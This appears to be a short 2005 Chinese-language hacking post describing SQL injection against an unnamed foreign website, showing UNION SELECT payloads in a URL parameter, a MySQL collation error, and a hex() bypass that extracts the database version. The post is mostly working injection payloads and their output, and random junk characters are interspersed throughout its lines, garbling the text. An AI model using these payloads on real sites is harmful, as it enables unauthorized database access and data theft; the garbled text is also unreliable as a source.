本文作者:SuperHei, L/ g, s9 k/ m! w& g9 z: `
文章性质:原创
" B5 }: t( K$ j. H, {发布日期:2005-10-188 f( Z$ X; D$ j6 d, W
测试个国外的站时:
" r: A! E" m4 L5 ?url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
# N" x! i: g% q返回错误:
' h. u" x% N! _9 L ~! SIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
% g6 S6 L- x$ i5 D( v* X8 g* hMySQL Error No. 1265 }: ^: a4 _# K; Q" {# ^+ n
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
1 A: b) c% @# W* A% a6 S解决办法:转为其他编码如hex。( v, Y$ w9 R+ u, ?1 i' v! ^* G
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
" I% z+ S- ~' n8 y- u5 ^7 U成功得到hex(version())的值为:
$ G- J' y x1 P4 J: G& B0 @342E312E332D626574619 J- U( O) b M& w) |
回Mysql查询下得到:
) V- e5 A6 U+ R0 Emysql> select 0x342E312E332D62657461;" {3 Z* B6 p B O. a+ ~# N% c
+------------------------+
/ V* }- v/ {$ q" @' j5 Q| 0x342E312E332D62657461 |) e5 r' V# W; R2 W( d) R
+------------------------+' f" `1 r: L2 p7 h& j6 p3 e
| 4.1.3-beta |! P% ^5 n4 ], V! C5 |
+------------------------+/ h9 A# O7 q; o& r4 `! S$ l$ e3 r
1 row in set (0.00 sec)2 l/ v7 j0 X% K
0 i* ]% S. V8 G
|